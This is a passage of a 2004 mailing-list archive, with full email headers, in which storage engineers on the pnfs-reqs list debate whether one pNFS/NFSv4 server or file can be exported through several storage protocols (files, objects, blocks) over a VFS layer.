Jun 2004 10:06:17 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] summary of June face-to-face Thread-Index: AcRaBq4vxpkrbW5KQJ6x7FjEVNyOwgAAWiPw To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck Let's me answer things a bit out of order. > Is this something that a specialized implementation of the > NFS server, like Netapp's, is looking to support? Speaking personally, I'd prefer to implement a single storage protocol because doing that is the minimum amount of work, and I kind of like doing the minimum amount of work. However, I don't make those kind of decisions. Ultimately, the number of storage protocols we would support depends on what customers want. However, if we do wind up supporting more than one single protocol, I can't imagine us requiring that each fs only be accessible via a single storage protocol. That's just a configuration nightmare. If you support a set of storage protocols, then I think you might as well allow any of them to be used on any fs. Now let's go to the ""how"" question. > I would still like someone to explain to me how the NFS server, > which is talking to a single file system through an OS's 'VFS' > layer, can support multiple protocols for a single file at the > same time. I don't think there is anything involved in doing this which is fundamentally incompatible with the sort of architecture you are talking about. Of course, as my artful language suggests, you're probably going to wind up changing your VFS interface in various ways. That's just something you have to accept when you do these sorts of things. Otherwise life could get unbearably dull. > Each fsid or node exported via exportfs can have a > different file system type, but for a single file? I think you are misunderstanding the relationship of the protocol by which access to an fs is exported and the VFS file system type. Let us suppose that I have an NFS server which is acting as the storage server and providing the file-style access on behalf of a pnfs metadata server on another machine. Let's just pick an fs type for the underlying fs. Let's say it is UFS. It doesn't matter. File-style storage access, in this case NFS access, can be provided at the same time that the UFS files within that store are accessed by local application, if there are any. In this context the NFS server is just an application that is accessing those files. Now suppose I build a server for another storage protocol, let's say objects. It would receive CDB's instead of RPC requests but its relationship to the UFS file system through VFS would be exactly the same as that of the NFS server. It would do VFS_READ and VFS_WRITE calls. If I'm implementing a blocks storage protocol and I choose to present in pnfs virtualized block addresses tied to the actual VFS file objects, then things are similar in the blocks case as well. If I want to export the actual physical block address within the UFS file system then things get nasty and you probably have to build things a different way, but the point is that the many storage protocols may implemented on top of VFS access to a single fs. -----Original Message----- From: Dean Hildebrand [mailto:dhildebz@eecs.umich.edu] Sent: Thursday, June 24, 2004 12:16 PM To: pnfs-reqs@yahoogroups.com Subject: RE: [pnfs-reqs] summary of June face-to-face I would still like someone to explain to me how the NFS server, which is talking to a single file system through an OS's 'VFS' layer, can support multiple protocols for a single file at the same time. Each fsid or node exported via exportfs can have a different file system type, but for a single file? Is this something that a specialized implementation of the NFS server, like Netapp's, is looking to support? >From dhildebz@eecs.umich.edu Thu Jun 24 10:27:10 2004 Return-Path: X-Sender: dhildebz@eecs.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 85834 invoked from network); 24 Jun 2004 17:27:09 -0000 Received: from unknown (66.218.66.166) by m25.grp.scd.yahoo.com with QMQP; 24 Jun 2004 17:27:09 -0000 Received: from unknown (HELO willow.eecs.umich.edu) (141.213.4.14) by mta5.grp.scd.yahoo.com with SMTP; 24 Jun 2004 17:27:09 -0000 Received: from willow.eecs.umich.edu (localhost.eecs.umich.edu [127.0.0.1]) by willow.eecs.umich.edu (8.12.11/8.12.11) with ESMTP id i5OHR7fu009548 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 24 Jun 2004 13:27:08 -0400 Received: from localhost (dhildebz@localhost) by willow.eecs.umich.edu (8.12.11/8.12.11/Submit) with ESMTP id i5OHR7H0009545 for ; Thu, 24 Jun 2004 13:27:07 -0400 X-Authentication-Warning: willow.eecs.umich.edu: dhildebz owned process doing -bs Date: Thu, 24 Jun 2004 13:27:07 -0400 (EDT) To: pnfs-reqs@yahoogroups.com In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE X-eGroups-Remote-IP: 141.213.4.14 From: Dean Hildebrand Subject: RE: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=169352062 X-Yahoo-Profile: seattleplus Dave, thanks for the detailed explanation, but I think you missed my point (or maybe it is just your 'artful language' :) ) I understand how VFS type layers work, but the question is, ""How does a single NFSv4 server export multiple protocols?"" You can have multiple NFSv4 servers each exporting a different protocol, but it seems to me that a NFSv4 server is bound to the metadata server of the file sytem is exports. If this is true, then a client accessing a single NFSv4 server should only be told about the protocol of the metadata server the NFSv4 server is exporting. If a client wants to use a different parallel I/O protocol, then it would have to mount a different NFSv4 server exporting a different file protocol. How you would have a single file exported via 2 parallel file systems is a whole other issue. Dean On Thu, 24 Jun 2004, Noveck, Dave wrote: > Let's me answer things a bit out of order. > > > Is this something that a specialized implementation of the > > NFS server, like Netapp's, is looking to support? > > Speaking personally, I'd prefer to implement a single storage > protocol because doing that is the minimum amount of work, > and I kind of like doing the minimum amount of work. > > However, I don't make those kind of decisions. Ultimately, > the number of storage protocols we would support depends on > what customers want. However, if we do wind up supporting > more than one single protocol, I can't imagine us requiring > that each fs only be accessible via a single storage protocol. > That's just a configuration nightmare. If you support a > set of storage protocols, then I think you might as well > allow any of them to be used on any fs. > > Now let's go to the ""how"" question. > > > I would still like someone to explain to me how the NFS server, > > which is talking to a single file system through an OS's 'VFS' > > layer, can support multiple protocols for a single file at the > > same time. > > I don't think there is anything involved in doing this > which is fundamentally incompatible with the sort of > architecture you are talking about. Of course, as my > artful language suggests, you're probably going to wind > up changing your VFS interface in various ways. That's > just something you have to accept when you do these sorts > of things. Otherwise life could get unbearably dull. > > > Each fsid or node exported via exportfs can have a > > different file system type, but for a single file? > > I think you are misunderstanding the relationship of > the protocol by which access to an fs is exported and > the VFS file system type. Let us suppose that I > have an NFS server which is acting as the storage > server and providing the file-style access on behalf > of a pnfs metadata server on another machine. Let's > just pick an fs type for the underlying fs. Let's > say it is UFS. It doesn't matter. File-style storage > access, in this case NFS access, can be provided at the > same time that the UFS files within that store are > accessed by local application, if there are any. In > this context the NFS server is just an application that > is accessing those files. Now suppose I build a server > for another storage protocol, let's say objects. It > would receive CDB's instead of RPC requests but its > relationship to the UFS file system through VFS would > be exactly the same as that of the NFS server. It > would do VFS_READ and VFS_WRITE calls. If I'm > implementing a blocks storage protocol and I choose > to present in pnfs virtualized block addresses tied > to the actual VFS file objects, then things are similar > in the blocks case as well. If I want to export the > actual physical block address within the UFS file > system then things get nasty and you probably have to > build things a different way, but the point is that > the many storage protocols may implemented on top of > VFS access to a single fs. > > > -----Original Message----- > From: Dean Hildebrand [mailto:dhildebz@eecs.umich.edu] > Sent: Thursday, June 24, 2004 12:16 PM > To: pnfs-reqs@yahoogroups.com > Subject: RE: [pnfs-reqs] summary of June face-to-face > > > I would still like someone to explain to me how the NFS server, which is > talking to a single file system through an OS's 'VFS' layer, can support > multiple protocols for a single file at the same time. Each fsid or > node > exported via exportfs can have a different file system type, but for a > single file? Is this something that a specialized implementation of the > NFS server, like Netapp's, is looking to support? > > > Yahoo! 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Terms of Service. > > >From dnoveck@netapp.com Thu Jun 24 10:58:24 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 99212 invoked from network); 24 Jun 2004 17:58:22 -0000 Received: from unknown (66.218.66.218) by m3.grp.scd.yahoo.com with QMQP; 24 Jun 2004 17:58:22 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta3.grp.scd.yahoo.com with SMTP; 24 Jun 2004 17:58:22 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i5OHsZkX022424 for ; Thu, 24 Jun 2004 10:54:35 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i5OHsZI1010194 for ; Thu, 24 Jun 2004 10:54:35 -0700 (PDT) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Thu, 24 Jun 2004 10:54:30 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] summary of June face-to-face Thread-Index: AcRaEHzDsOrEr8L5QpuiZ2uzlPLkpAAAdDNg To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck Dean Hildebrand wrote: > Dave, thanks for the detailed explanation, but I think you missed my > point (or maybe it is just your 'artful language' :) ) OK. Let's try again. > I understand how VFS type layers work, but the question is, ""How does a > single NFSv4 server export multiple protocols?"" You can have multiple > NFSv4 servers each exporting a different protocol, but it seems to me that > a NFSv4 server is bound to the metadata server of the file sytem is > exports. I'm having trouble understanding you. You have an NFSv4.x server. It stores its metadata somewhere, typically in a file system local to it. It exports access to file that are represented by that metadata and store in a number of related servers which connected by a storage managemnt protocol, which is not defined by pnfs. I don't undertstand what ""the metadata server of the file system is (it?) exports"" is. > If this is true, then a client accessing a single NFSv4 server > should only be told about the protocol of the metadata server the NFSv4 > server is exporting. The protocol of the metadata server would seem to be pnfs, whether you are exportng the file varaint, the object variant, or the blocks variant or some combination for the backend. > If a client wants to use a different parallel I/O > protocol, then it would have to mount a different NFSv4 server exporting > a different file protocol. What do mean by ""a different parallel I/O protocol""? If you mean a different variant (blocks/objects/files), then I don't see why you need a different NFSv4 server. > How you would have a single file exported via 2 parallel file systems is a > whole other issue. >From garth@panasas.com Thu Jun 24 11:02:41 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 32119 invoked from network); 24 Jun 2004 18:02:41 -0000 Received: from unknown (66.218.66.167) by m25.grp.scd.yahoo.com with QMQP; 24 Jun 2004 18:02:41 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 24 Jun 2004 18:02:40 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B56SQ35; Thu, 24 Jun 2004 14:01:53 -0400 Mime-Version: 1.0 (Apple Message framework v618) In-Reply-To: References: Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed Message-Id: <910D8241-C608-11D8-AC74-000A95A94F04@panasas.com> Content-Transfer-Encoding: quoted-printable Date: Thu, 24 Jun 2004 14:01:50 -0400 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.618) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson I think there are two questions: - is it possible - is it a common case for our design for a single file or single filesystem to be accessible from clients using two different storage protocols. I am certain it is possible, but I am not certain it is a common case. That is, I am not sure I can generate a compelling use case for us to make it important to worry a lot about this case. For example, if a data server supports iSCSI and NFS command protocols, a ""parallel file system"" could spread a file over multiple data servers in a way that allows it to be seen as parallel block file or a set of files striped over NFS. This is certainly complex, and I can't think of a good reason for it, but it is possible. Dean, perhaps you are thinking of implementations where the backend parallel file systems are only the ones that already exist, and you are suggesting that a file would never be managed by two different backend parallel file services. I would agree. But a backend could be built that did this. Or a middle layer could be built that put NFS frontend in each disk array, used a block-based backend for each NFS server to privately access the blocks on its disk array, and the middle layer could over striped files. Perhaps because a file that is usually accessed through a data center SAN is now needed by a cluster in another building and someone believes that it is better to use NFS/TCP to handle the extra layers of routers. Anyway, possible I think it is. Important to initial implementations, unlikely. Useful for the standard to leave possible, maybe, if there are little or no ramifications in the standard draft. garth On Jun 24, 2004, at 1:27 PM, Dean Hildebrand wrote: > Dave, thanks for the detailed explanation, but I think you missed my > point (or maybe it is just your 'artful language' :) ) > > I understand how VFS type layers work, but the question is, ""How does a > single NFSv4 server export multiple protocols?"" You can have multiple > NFSv4 servers each exporting a different protocol, but it seems to me > that > a NFSv4 server is bound to the metadata server of the file sytem is > exports. If this is true, then a client accessing a single NFSv4 > server > should only be told about the protocol of the metadata server the NFSv4 > server is exporting. If a client wants to use a different parallel I/O > protocol, then it would have to mount a different NFSv4 server > exporting > a different file protocol. > > How you would have a single file exported via 2 parallel file systems > is a > whole other issue. > Dean > > On Thu, 24 Jun 2004, Noveck, Dave wrote: > >> Let's me answer things a bit out of order. >> >>> Is this something that a specialized implementation of the >>> NFS server, like Netapp's, is looking to support? >> >> Speaking personally, I'd prefer to implement a single storage >> protocol because doing that is the minimum amount of work, >> and I kind of like doing the minimum amount of work. >> >> However, I don't make those kind of decisions. Ultimately, >> the number of storage protocols we would support depends on >> what customers want. However, if we do wind up supporting >> more than one single protocol, I can't imagine us requiring >> that each fs only be accessible via a single storage protocol. >> That's just a configuration nightmare. If you support a >> set of storage protocols, then I think you might as well >> allow any of them to be used on any fs. >> >> Now let's go to the ""how"" question. >> >>> I would still like someone to explain to me how the NFS server, >>> which is talking to a single file system through an OS's 'VFS' >>> layer, can support multiple protocols for a single file at the >>> same time. >> >> I don't think there is anything involved in doing this >> which is fundamentally incompatible with the sort of >> architecture you are talking about. Of course, as my >> artful language suggests, you're probably going to wind >> up changing your VFS interface in various ways. That's >> just something you have to accept when you do these sorts >> of things. Otherwise life could get unbearably dull. >> >>> Each fsid or node exported via exportfs can have a >>> different file system type, but for a single file? >> >> I think you are misunderstanding the relationship of >> the protocol by which access to an fs is exported and >> the VFS file system type. Let us suppose that I >> have an NFS server which is acting as the storage >> server and providing the file-style access on behalf >> of a pnfs metadata server on another machine. Let's >> just pick an fs type for the underlying fs. Let's >> say it is UFS. It doesn't matter. File-style storage >> access, in this case NFS access, can be provided at the >> same time that the UFS files within that store are >> accessed by local application, if there are any. In >> this context the NFS server is just an application that >> is accessing those files. Now suppose I build a server >> for another storage protocol, let's say objects. It >> would receive CDB's instead of RPC requests but its >> relationship to the UFS file system through VFS would >> be exactly the same as that of the NFS server. It >> would do VFS_READ and VFS_WRITE calls. If I'm >> implementing a blocks storage protocol and I choose >> to present in pnfs virtualized block addresses tied >> to the actual VFS file objects, then things are similar >> in the blocks case as well. If I want to export the >> actual physical block address within the UFS file >> system then things get nasty and you probably have to >> build things a different way, but the point is that >> the many storage protocols may implemented on top of >> VFS access to a single fs. >> >> >> -----Original Message----- >> From: Dean Hildebrand [mailto:dhildebz@eecs.umich.edu] >> Sent: Thursday, June 24, 2004 12:16 PM >> To: pnfs-reqs@yahoogroups.com >> Subject: RE: [pnfs-reqs] summary of June face-to-face >> >> >> I would still like someone to explain to me how the NFS server, which >> is >> talking to a single file system through an OS's 'VFS' layer, can >> support >> multiple protocols for a single file at the same time. Each fsid or >> node >> exported via exportfs can have a different file system type, but for a >> single file? Is this something that a specialized implementation of >> the >> NFS server, like Netapp's, is looking to support? >> >> >> Yahoo! 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Groups Links > > > > > >From dnoveck@netapp.com Thu Jun 24 11:19:30 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 81840 invoked from network); 24 Jun 2004 18:19:29 -0000 Received: from unknown (66.218.66.216) by m23.grp.scd.yahoo.com with QMQP; 24 Jun 2004 18:19:29 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta1.grp.scd.yahoo.com with SMTP; 24 Jun 2004 18:19:29 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i5OIJRkX026210 for ; Thu, 24 Jun 2004 11:19:27 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i5OIJQ2I025075 for ; Thu, 24 Jun 2004 11:19:27 -0700 (PDT) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Thu, 24 Jun 2004 11:19:25 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] summary of June face-to-face Thread-Index: AcRaFXLQrtx3gw4CRgemwEZuPbUYrwAAWwEA To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck ADVERTISEMENT click here The use case depends on how clients evolve. If all all clients are sensible, and implement at least the protocol that is the best then everything is OK (the only problem is that we all disagree on what is the best :-). The problem will be if clients are like Garth, and David, and me and disagree. If there are a significant set of cleints that only implement files (because it is the best) and another set that only implements objects (because they mistakenly think it is the best) and a third set that only implements blocks (because they mistakely think it is the best), then we are going to want to have servers that support both the correct and misguided servers. Everybody can permute the above to reflect their own version of reality. -----Original Message----- From: Garth Gibson [mailto:garth@panasas.com] Sent: Thursday, June 24, 2004 2:02 PM To: pnfs-reqs@yahoogroups.com Subject: Re: [pnfs-reqs] summary of June face-to-face I think there are two questions: - is it possible - is it a common case for our design for a single file or single filesystem to be accessible from clients using two different storage protocols. I am certain it is possible, but I am not certain it is a common case. That is, I am not sure I can generate a compelling use case for us to make it important to worry a lot about this case. For example, if a data server supports iSCSI and NFS command protocols, a ""parallel file system"" could spread a file over multiple data servers in a way that allows it to be seen as parallel block file or a set of files striped over NFS. This is certainly complex, and I can't think of a good reason for it, but it is possible. Dean, perhaps you are thinking of implementations where the backend parallel file systems are only the ones that already exist, and you are suggesting that a file would never be managed by two different backend parallel file services. I would agree. But a backend could be built that did this. Or a middle layer could be built that put NFS frontend in each disk array, used a block-based backend for each NFS server to privately access the blocks on its disk array, and the middle layer could over striped files. Perhaps because a file that is usually accessed through a data center SAN is now needed by a cluster in another building and someone believes that it is better to use NFS/TCP to handle the extra layers of routers. Anyway, possible I think it is. Important to initial implementations, unlikely. Useful for the standard to leave possible, maybe, if there are little or no ramifications in the standard draft. garth On Jun 24, 2004, at 1:27 PM, Dean Hildebrand wrote: > Dave, thanks for the detailed explanation, but I think you missed my > point (or maybe it is just your 'artful language' :) ) > > I understand how VFS type layers work, but the question is, ""How does a > single NFSv4 server export multiple protocols?"" You can have multiple > NFSv4 servers each exporting a different protocol, but it seems to me > that > a NFSv4 server is bound to the metadata server of the file sytem is > exports. If this is true, then a client accessing a single NFSv4 > server > should only be told about the protocol of the metadata server the NFSv4 > server is exporting. If a client wants to use a different parallel I/O > protocol, then it would have to mount a different NFSv4 server > exporting > a different file protocol. > > How you would have a single file exported via 2 parallel file systems > is a > whole other issue. > Dean > > On Thu, 24 Jun 2004, Noveck, Dave wrote: > >> Let's me answer things a bit out of order. >> >>> Is this something that a specialized implementation of the >>> NFS server, like Netapp's, is looking to support? >> >> Speaking personally, I'd prefer to implement a single storage >> protocol because doing that is the minimum amount of work, >> and I kind of like doing the minimum amount of work. >> >> However, I don't make those kind of decisions. Ultimately, >> the number of storage protocols we would support depends on >> what customers want. However, if we do wind up supporting >> more than one single protocol, I can't imagine us requiring >> that each fs only be accessible via a single storage protocol. >> That's just a configuration nightmare. If you support a >> set of storage protocols, then I think you might as well >> allow any of them to be used on any fs. >> >> Now let's go to the ""how"" question. >> >>> I would still like someone to explain to me how the NFS server, >>> which is talking to a single file system through an OS's 'VFS' >>> layer, can support multiple protocols for a single file at the >>> same time. >> >> I don't think there is anything involved in doing this >> which is fundamentally incompatible with the sort of >> architecture you are talking about. Of course, as my >> artful language suggests, you're probably going to wind >> up changing your VFS interface in various ways. That's >> just something you have to accept when you do these sorts >> of things. Otherwise life could get unbearably dull. >> >>> Each fsid or node exported via exportfs can have a >>> different file system type, but for a single file? >> >> I think you are misunderstanding the relationship of >> the protocol by which access to an fs is exported and >> the VFS file system type. Let us suppose that I >> have an NFS server which is acting as the storage >> server and providing the file-style access on behalf >> of a pnfs metadata server on another machine. Let's >> just pick an fs type for the underlying fs. Let's >> say it is UFS. It doesn't matter. File-style storage >> access, in this case NFS access, can be provided at the >> same time that the UFS files within that store are >> accessed by local application, if there are any. In >> this context the NFS server is just an application that >> is accessing those files. Now suppose I build a server >> for another storage protocol, let's say objects. It >> would receive CDB's instead of RPC requests but its >> relationship to the UFS file system through VFS would >> be exactly the same as that of the NFS server. It >> would do VFS_READ and VFS_WRITE calls. If I'm >> implementing a blocks storage protocol and I choose >> to present in pnfs virtualized block addresses tied >> to the actual VFS file objects, then things are similar >> in the blocks case as well. If I want to export the >> actual physical block address within the UFS file >> system then things get nasty and you probably have to >> build things a different way, but the point is that >> the many storage protocols may implemented on top of >> VFS access to a single fs. >> >> >> -----Original Message----- >> From: Dean Hildebrand [mailto:dhildebz@eecs.umich.edu] >> Sent: Thursday, June 24, 2004 12:16 PM >> To: pnfs-reqs@yahoogroups.com >> Subject: RE: [pnfs-reqs] summary of June face-to-face >> >> >> I would still like someone to explain to me how the NFS server, which >> is >> talking to a single file system through an OS's 'VFS' layer, can >> support >> multiple protocols for a single file at the same time. Each fsid or >> node >> exported via exportfs can have a different file system type, but for a >> single file? Is this something that a specialized implementation of >> the >> NFS server, like Netapp's, is looking to support? >> >> >> Yahoo! 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Groups Links >From dhildebz@eecs.umich.edu Thu Jun 24 11:26:19 2004 Return-Path: X-Sender: dhildebz@eecs.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 24311 invoked from network); 24 Jun 2004 18:26:19 -0000 Received: from unknown (66.218.66.216) by m25.grp.scd.yahoo.com with QMQP; 24 Jun 2004 18:26:19 -0000 Received: from unknown (HELO willow.eecs.umich.edu) (141.213.4.14) by mta1.grp.scd.yahoo.com with SMTP; 24 Jun 2004 18:26:19 -0000 Received: from willow.eecs.umich.edu (localhost.eecs.umich.edu [127.0.0.1]) by willow.eecs.umich.edu (8.12.11/8.12.11) with ESMTP id i5OIQGWT010379 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 24 Jun 2004 14:26:16 -0400 Received: from localhost (dhildebz@localhost) by willow.eecs.umich.edu (8.12.11/8.12.11/Submit) with ESMTP id i5OIQGHr010376 for ; Thu, 24 Jun 2004 14:26:16 -0400 X-Authentication-Warning: willow.eecs.umich.edu: dhildebz owned process doing -bs Date: Thu, 24 Jun 2004 14:26:16 -0400 (EDT) To: pnfs-reqs@yahoogroups.com In-Reply-To: <910D8241-C608-11D8-AC74-000A95A94F04@panasas.com> Message-ID: References: <910D8241-C608-11D8-AC74-000A95A94F04@panasas.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE X-eGroups-Remote-IP: 141.213.4.14 From: Dean Hildebrand Subject: Re: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=169352062 X-Yahoo-Profile: seattleplus ADVERTISEMENT Thanks Garth, I think that cleared it up. Does anyone know of an existing file system that exports more than 1 parallel interface? Dean On Thu, 24 Jun 2004, Garth Gibson wrote: > I think there are two questions: > - is it possible > - is it a common case for our design > for a single file or single filesystem to be accessible from clients > using two different storage protocols. > > I am certain it is possible, but I am not certain it is a common case. > That is, I am not sure I can generate a compelling use case for us to > make it important to worry a lot about this case. > > For example, if a data server supports iSCSI and NFS command protocols, > a ""parallel file system"" could spread a file over multiple data servers > in a way that allows it to be seen as parallel block file or a set of > files striped over NFS. This is certainly complex, and I can't think > of a good reason for it, but it is possible. > > Dean, perhaps you are thinking of implementations where the backend > parallel file systems are only the ones that already exist, and you are > suggesting that a file would never be managed by two different backend > parallel file services. I would agree. But a backend could be built > that did this. Or a middle layer could be built that put NFS frontend > in each disk array, used a block-based backend for each NFS server to > privately access the blocks on its disk array, and the middle layer > could over striped files. Perhaps because a file that is usually > accessed through a data center SAN is now needed by a cluster in > another building and someone believes that it is better to use NFS/TCP > to handle the extra layers of routers. > > Anyway, possible I think it is. Important to initial implementations, > unlikely. Useful for the standard to leave possible, maybe, if there > are little or no ramifications in the standard draft. > > garth > > On Jun 24, 2004, at 1:27 PM, Dean Hildebrand wrote: > > > Dave, thanks for the detailed explanation, but I think you missed my > > point (or maybe it is just your 'artful language' :) ) > > > > I understand how VFS type layers work, but the question is, ""How does a > > single NFSv4 server export multiple protocols?"" You can have multiple > > NFSv4 servers each exporting a different protocol, but it seems to me > > that > > a NFSv4 server is bound to the metadata server of the file sytem is > > exports. If this is true, then a client accessing a single NFSv4 > > server > > should only be told about the protocol of the metadata server the NFSv4 > > server is exporting. If a client wants to use a different parallel I/O > > protocol, then it would have to mount a different NFSv4 server > > exporting > > a different file protocol. > > > > How you would have a single file exported via 2 parallel file systems > > is a > > whole other issue. > > Dean > > > > On Thu, 24 Jun 2004, Noveck, Dave wrote: > > > >> Let's me answer things a bit out of order. > >> > >>> Is this something that a specialized implementation of the > >>> NFS server, like Netapp's, is looking to support? > >> > >> Speaking personally, I'd prefer to implement a single storage > >> protocol because doing that is the minimum amount of work, > >> and I kind of like doing the minimum amount of work. > >> > >> However, I don't make those kind of decisions. Ultimately, > >> the number of storage protocols we would support depends on > >> what customers want. However, if we do wind up supporting > >> more than one single protocol, I can't imagine us requiring > >> that each fs only be accessible via a single storage protocol. > >> That's just a configuration nightmare. If you support a > >> set of storage protocols, then I think you might as well > >> allow any of them to be used on any fs. > >> > >> Now let's go to the ""how"" question. > >> > >>> I would still like someone to explain to me how the NFS server, > >>> which is talking to a single file system through an OS's 'VFS' > >>> layer, can support multiple protocols for a single file at the > >>> same time. > >> > >> I don't think there is anything involved in doing this > >> which is fundamentally incompatible with the sort of > >> architecture you are talking about. Of course, as my > >> artful language suggests, you're probably going to wind > >> up changing your VFS interface in various ways. That's > >> just something you have to accept when you do these sorts > >> of things. Otherwise life could get unbearably dull. > >> > >>> Each fsid or node exported via exportfs can have a > >>> different file system type, but for a single file? > >> > >> I think you are misunderstanding the relationship of > >> the protocol by which access to an fs is exported and > >> the VFS file system type. Let us suppose that I > >> have an NFS server which is acting as the storage > >> server and providing the file-style access on behalf > >> of a pnfs metadata server on another machine. Let's > >> just pick an fs type for the underlying fs. Let's > >> say it is UFS. It doesn't matter. File-style storage > >> access, in this case NFS access, can be provided at the > >> same time that the UFS files within that store are > >> accessed by local application, if there are any. In > >> this context the NFS server is just an application that > >> is accessing those files. Now suppose I build a server > >> for another storage protocol, let's say objects. It > >> would receive CDB's instead of RPC requests but its > >> relationship to the UFS file system through VFS would > >> be exactly the same as that of the NFS server. It > >> would do VFS_READ and VFS_WRITE calls. If I'm > >> implementing a blocks storage protocol and I choose > >> to present in pnfs virtualized block addresses tied > >> to the actual VFS file objects, then things are similar > >> in the blocks case as well. If I want to export the > >> actual physical block address within the UFS file > >> system then things get nasty and you probably have to > >> build things a different way, but the point is that > >> the many storage protocols may implemented on top of > >> VFS access to a single fs. > >> > >> > >> -----Original Message----- > >> From: Dean Hildebrand [mailto:dhildebz@eecs.umich.edu] > >> Sent: Thursday, June 24, 2004 12:16 PM > >> To: pnfs-reqs@yahoogroups.com > >> Subject: RE: [pnfs-reqs] summary of June face-to-face > >> > >> > >> I would still like someone to explain to me how the NFS server, which > >> is > >> talking to a single file system through an OS's 'VFS' layer, can > >> support > >> multiple protocols for a single file at the same time. Each fsid or > >> node > >> exported via exportfs can have a different file system type, but for a > >> single file? Is this something that a specialized implementation of > >> the > >> NFS server, like Netapp's, is looking to support? > >> > >> > >> Yahoo! Groups Sponsor > >> ADVERTISEMENT > >> click here > >> [rand=706282213] > >> > >> ______________________________________________________________________ > >> __________ > >> Yahoo! Groups Links > >> * To visit your group on the web, go to: > >> http://groups.yahoo.com/group/pnfs-reqs/ > >> > >> * To unsubscribe from this group, send an email to: > >> pnfs-reqs-unsubscribe@yahoogroups.com > >> > >> * Your use of Yahoo! Groups is subject to the Yahoo! Terms of > >> Service. > >> > >> > > > > > > > > > > Yahoo! Groups Links > > > > > > > > > > > > > Yahoo! Groups Sponsor > ADVERTISEMENT > click here > [rand=317263051] > > ________________________________________________________________________________ > Yahoo! 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Terms of Service. > > >From julian_satran@il.ibm.com Sun Jun 27 01:46:34 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 49967 invoked from network); 27 Jun 2004 08:46:32 -0000 Received: from unknown (66.218.66.172) by m20.grp.scd.yahoo.com with QMQP; 27 Jun 2004 08:46:32 -0000 Received: from unknown (HELO mtagate3.de.ibm.com) (195.212.29.152) by mta4.grp.scd.yahoo.com with SMTP; 27 Jun 2004 08:46:31 -0000 Received: from d12nrmr1607.megacenter.de.ibm.com (d12nrmr1607.megacenter.de.ibm.com [9.149.167.49]) by mtagate3.de.ibm.com (8.12.10/8.12.10) with ESMTP id i5R8kUGm073740 for ; Sun, 27 Jun 2004 08:46:30 GMT Received: from d12ml102.megacenter.de.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12nrmr1607.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i5R8kTMm153378 for ; Sun, 27 Jun 2004 10:46:30 +0200 In-Reply-To: To: pnfs-reqs@yahoogroups.com Cc: pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5.1 January 21, 2004 Message-ID: 